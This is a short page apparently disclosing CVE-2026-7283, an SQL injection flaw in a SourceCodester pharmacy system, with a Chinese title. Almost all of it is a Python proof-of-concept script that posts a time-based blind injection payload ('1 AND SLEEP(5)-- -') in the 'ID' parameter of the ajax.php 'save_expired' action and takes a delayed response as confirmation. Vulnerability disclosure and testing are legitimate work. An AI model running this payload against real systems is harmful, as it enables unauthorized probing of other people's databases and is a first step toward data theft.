CVE-2026-7283 SourceCodester药房系统SQL注入漏洞

import requests def check_sqli(target_url): # The vulnerable endpoint url = f"{target_url}/ajax.php" # Payload to test SQL Injection using time-based blind technique # Injecting ' AND SLEEP(5)-- - to delay response payload_data = { "action": "save_expired", "ID": "1 AND SLEEP(5)-- -" } try: print(f"[*] Sending request to {url}...") response = requests.post(url, data=payload_data) # If the response takes longer than 5 seconds, it indicates the SQL query executed the sleep function if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed! SQL Injection exists in parameter 'ID'.") else: print("[-] Vulnerability not confirmed or patch applied.") except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://localhost" check_sqli(target)